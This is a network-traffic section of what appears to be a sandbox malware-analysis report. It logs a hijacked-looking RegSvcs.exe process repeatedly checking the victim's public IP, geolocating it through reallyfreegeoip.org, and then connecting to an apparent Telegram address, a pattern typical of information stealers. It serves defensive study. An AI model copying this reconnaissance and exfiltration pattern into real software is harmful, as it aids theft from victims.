Oct 9, 2024 14:45:24.627980947 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:24 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: af00b6d9b47dddbde35e5bd1c5361cc5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49726	193.122.6.168	80	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:45:25.260351896 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 9, 2024 14:45:25.887968063 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:25 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 24a4b45fdcc783fb9105b5bf39d959f9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49731	193.122.6.168	80	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:45:26.496649981 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 9, 2024 14:45:27.128807068 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:27 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ebb5e6e0cc637b1cc37ccd68db2a3983 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49712	188.114.96.3	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 12:45:16 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-09 12:45:16 UTC	676	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35797 Last-Modified: Wed, 09 Oct 2024 02:48:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tr9v6tG63iIS6PH8JYDZ8iBEGmLeAV3gYKikGYFubm3EFy3yZ%2Bnz%2F26T2yhlLq54zfp3W%2BueHlza1LMAr6mDnfAbHbGnCpkNxyOeVBktgQ5GyktmMLutE2CDvPa2K7gCh5fMlI2p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe778089d0c40c-EWR
2024-10-09 12:45:16 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-09 12:45:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49713	188.114.96.3	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 12:45:16 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-09 12:45:17 UTC	674	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35798 Last-Modified: Wed, 09 Oct 2024 02:48:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F1J2Cdjq9QL0KwhRss7gR4AgLniO6375fsYHvQEvn2RQQOHBlT9u8gSfNjjPjT%2BPh7Lcxei5eUnpE4vJPjg1sdUc0zLLuKp8I3Q7a4LWkny1vkk%2BHj02n4WmF4BQrdTcKpS2uMRA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe7785bc6f5e66-EWR
2024-10-09 12:45:17 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-09 12:45:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49715	188.114.96.3	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 12:45:18 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-09 12:45:19 UTC	682	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35800 Last-Modified: Wed, 09 Oct 2024 02:48:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rtVOL8vze0F9tZGoS6ZWQB5FXA15%2BnUjvuK69Xt1riVRgRyb5fyB%2FgPaLjSpVyWcS%2BfOIzVUENo9NYpVJL36hpLhSRlYkLVxeyWUE9r1W4RQzQR27JRNeTE%2FARjcOBVHmC%2F%2BI5i0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe7791ef598c3c-EWR
2024-10-09 12:45:19 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-09 12:45:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49717	188.114.96.3	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 12:45:21 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-09 12:45:21 UTC	674	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35802 Last-Modified: Wed, 09 Oct 2024 02:48:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OFTnXRKWfHoP54YzxEv%2BsgxVHeGQrPCbb5XNk3Vlg6UZvvnCIDgb7nUdnXU2RXzSdROD1NTbLPX%2BlU7hss2hMbNU1scmFWZZ2csz2JF1IYXUERDwm7oCLosPojGUMlxAZKDciF3w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe77a06de741cf-EWR
2024-10-09 12:45:21 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-09 12:45:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49720	188.114.96.3	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 12:45:22 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-09 12:45:22 UTC	670	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:22 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35803 Last-Modified: Wed, 09 Oct 2024 02:48:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r7hTvzEjEp23si1kCyjszSVNwa9W6FyIxv4SQ9VxmCor51X4YVai0fG5HCnkZerBJluF2Nt8Oz2EgBaNYcqkdgRdAUajHmlNLrXyFvPXgki3pHWJElF5fjeEFUeJdsq05jpGrhUJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe77a85ab942f2-EWR
2024-10-09 12:45:22 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-09 12:45:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49722	188.114.96.3	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 12:45:23 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-09 12:45:23 UTC	676	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:23 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35804 Last-Modified: Wed, 09 Oct 2024 02:48:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=REFHuOyLznptzUY4IsW66MXILoWiT0%2Bcg9%2FDMEyIJgEQXeQrHW2ijtGw6gmNeS9Q1JUqAFs9XQComXgxZSdloKXMrxVOqUS4zgt4VTaLtvhi2FHbajIus%2FihFvdDvqOHZ8AEJ1Ra"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe77b03efa1988-EWR
2024-10-09 12:45:23 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-09 12:45:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49724	188.114.96.3	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 12:45:25 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-09 12:45:25 UTC	682	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:25 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35806 Last-Modified: Wed, 09 Oct 2024 02:48:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aES0F1gUnR0f%2Bs5VrKBLO3%2FkdkW79faiC9ZlQnFSuj0%2Bj1HB0CKlQGUNbDPQijrtilUPF8GxhfDxUhE55NbNJrVtDGNH%2B0UpHQNQLO6Jk%2BYFfFoTgZ%2FHUeyXAmfyHEu1a1HqsTWV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe77b86fba430e-EWR
2024-10-09 12:45:25 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-09 12:45:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49729	188.114.96.3	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 12:45:26 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-09 12:45:26 UTC	676	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:26 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35807 Last-Modified: Wed, 09 Oct 2024 02:48:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jap6XV2GsIg2vAhPRe3mI31jbJp2IoRMFTO%2BNBZ6bSeXLvICDjivBPjeH14edT2m%2FeO1Lk8PABu4vm1n7tVTiEoUyhAtvOeIshIxthyIpyfjXrEmIkosLzFmQa1FaBqQCJ%2BPIkvK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe77c028480f67-EWR
2024-10-09 12:45:26 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-09 12:45:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.12	49733	188.114.96.3	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 12:45:27 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-09 12:45:27 UTC	702	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35808 Last-Modified: Wed, 09 Oct 2024 02:48:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3jLRHvBaMQ1QZYxsZdjXChvr37kTrvB3PjnSVS0l3fBG5fzHcRtsPMOOYJAh22iQkvbPN8M3TxNb1pHpfrAQiBS6qEQZ0GdoJYeCPhBVDmMA4LOG%2Ft204w5pxUdZhHK2mt1mZajE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe77c7dd67430a-EWR alt-svc: h3=":443"; ma=86400
2024-10-09 12:45:27 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-09 12:45:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.12	49735	149.154.167.220	443	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
